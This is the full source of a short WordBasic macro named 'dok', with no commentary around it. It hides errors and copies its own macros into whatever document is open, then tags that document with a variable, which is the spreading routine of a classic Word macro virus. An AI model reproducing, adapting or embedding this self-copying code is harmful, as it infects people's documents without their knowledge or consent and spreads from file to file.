'Macro name: dok'

Sub MAIN
On Error Resume Next
For a = 1 To 9
MacroCopy MacroFileName$() + ":" + MacroName$(a,,, 1), FileName$() + ":"
Next
SetDocumentVar "tk", "1"
End Sub
